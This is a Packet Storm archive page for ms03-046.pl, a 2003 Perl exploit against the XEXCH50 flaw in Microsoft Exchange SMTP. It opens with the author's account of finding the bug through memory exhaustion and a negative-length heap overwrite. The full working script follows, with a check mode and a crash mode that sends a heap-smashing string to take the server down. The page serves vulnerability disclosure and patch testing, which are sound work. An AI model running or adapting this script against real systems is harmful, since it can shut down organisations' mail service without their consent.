what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ms03-046.pl

ms03-046.pl
Posted Oct 30, 2003
Authored by H D Moore | Site metasploit.com

Exploit for ms03-046 - Microsoft Exchange Server 5.5 and Exchange 2000 buffer overflow, in perl. Denial of service only.

tags | exploit, denial of service, overflow, perl
SHA-256 | dc02a00c9d484f730cae974d17f5aa3a118aa3df6f5a4b2305b54e7b02c2a0e4

ms03-046.pl

Change Mirror Download

On October 15th, Microsoft released an advisory stating that both Exchange
5.5 and Exchange 2000 were vulnerable to a denial of service attack in
the code which processes extended verb requests. This advisory also
stated that Exchange 2000 was vulnerable to a buffer overrun that would
allow a remote attacker to execute the code in the context of the SMTP
service.

The supported extended verb requests can be determined by sending the
"EHLO" command to the SMTP service. After checking both the 5.5 and 2000
versions of the Exchange SMTP service, it was obvious that the problem
had to be with the XEXCH50 verb. A quick google search and I was able to
find a quick description of this verb:

>From http://smtpfilter.sourceforge.net/esmtp.html:

"Allows transfer of binary data with Exchange specific recipient
information eg plain text only versus MIME, etc). If accepted, receiver
SMTP servers sends 354 Send Binary data and sending SMTP server sends the
number of bytes as the first parameter on the XEXCH50 command. Once these
bytes are sent, the receiving SMTP server sends an acknowledgment"

After a few minutes of digging on google groups, I came across a sample
TCP session showing how the XEXCH50 verb is used. This verb is used to
transfer messages between Exchange servers using their native envelope
format. The syntax of the verb is:

XEXCH50 <X> <Y>

Where X is the length of the message and Y always seems to be the number
2 (although other small integer values work as well). The denial of
service can be triggered by sending XEXCH50 request with a massive
number of bytes for the first argument. This forces the remote server to
allocate that specified amount of space and can easily be used to drain
all available memory from a system. Once Exchange runs low on memory, it
no longer processes incoming requests, leading to a quick and easy
remote denial of service.

If a negative value is passed as the first argument of the XEXCH50 verb
request, the server will not allocate any memory but still accept data.
This can be used to clobber the heap and eventually execute arbitrary
code...

It ends up that the heap area that is overwritten is used by the
GetServiceConfigInfoSize routine and many of the subroutines that it
calls. After testing more than two hundred combinations of data size,
data content, pre-allocation, multiple connections, and alternate trigger
paths, I was unable to find a set that would allow for reliable
exploitation. Using the Snapshot/Revert functions of VMWare allowed me to
test different data combinations in the exact same running process. Just
changing a few bytes deep into the data resulted in a change in the
location and type of crash. Even using the exact same data will result in
smaller set of completely different crashes using different chunks of the
data.

So for the moment, I have no working exploit. More than likely someone
will find the perfect set of parameters and be able to write a reliable
exploit, but in the meantime I am going to burn my time on something more
fulfilling :)

You can find a small perl script that reproduces the crash and tests for
the vulnerability at the URL below.

http://metasploit.com/releases.html

-HD




#!/usr/bin/perl -w
##################

##
# ms03-046.pl - hdm[at]metasploit.com
##

# minor bugfix: look for 354 Send binary data

use strict;
use IO::Socket;

my $host = shift() || usage();
my $mode = shift() || "CHECK";
my $port = 25;


if (uc($mode) eq "CHECK") { check() }
if (uc($mode) eq "CRASH") { crash() }

usage();


sub check
{
my $s = SMTP($host, $port);
if (! $s)
{
print "[*] Error establishing connection to SMTP service.\n";
exit(0);
}

print $s "XEXCH50 2 2\r\n";
my $res = <$s>;
close ($s);

# a patched server only allows XEXCH50 after NTLM authentication
if ($res !~ /354 Send binary/i)
{
print "[*] This server has been patched or is not vulnerable.\n";
exit(0);
}

print "[*] This system is vulnerable: $host:$port\n";

exit(0);
}


sub crash
{
my $s = SMTP($host, $port);
if (! $s)
{
print "[*] Error establishing connection to SMTP service.\n";
exit(0);
}

# the negative value allows us to overwrite random heap bits
print $s "XEXCH50 -1 2\r\n";
my $res = <$s>;

# a patched server only allows XEXCH50 after NTLM authentication
if ($res !~ /354 Send binary/i)
{
print "[*] This server has been patched or is not vulnerable.\n";
exit(0);
}

print "[*] Sending massive heap-smashing string...\n";
print $s ("META" x 16384);

# sometimes a second connection is required to trigger the crash
$s = SMTP($host, $port);

exit(0);
}


sub usage
{
print STDERR "Usage: $0 <host> [CHECK|CRASH]\n";
exit(0);

}

sub SMTP
{
my ($host, $port) = @_;
my $s = IO::Socket::INET->new
(
PeerAddr => $host,
PeerPort => $port,
Proto => "tcp"
) || return(undef);

my $r = <$s>;
return undef if !$r;

if ($r !~ /Microsoft/)
{
chomp($r);
print STDERR "[*] This does not look like an exchange server: $r\n";
return(undef);
}

print $s "HELO X\r\n";
$r = <$s>;
return undef if !$r;

print $s "MAIL FROM: DoS\r\n";
$r = <$s>;
return undef if !$r;

print $s "RCPT TO: Administrator\r\n";
$r = <$s>;
return undef if !$r;

return($s);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close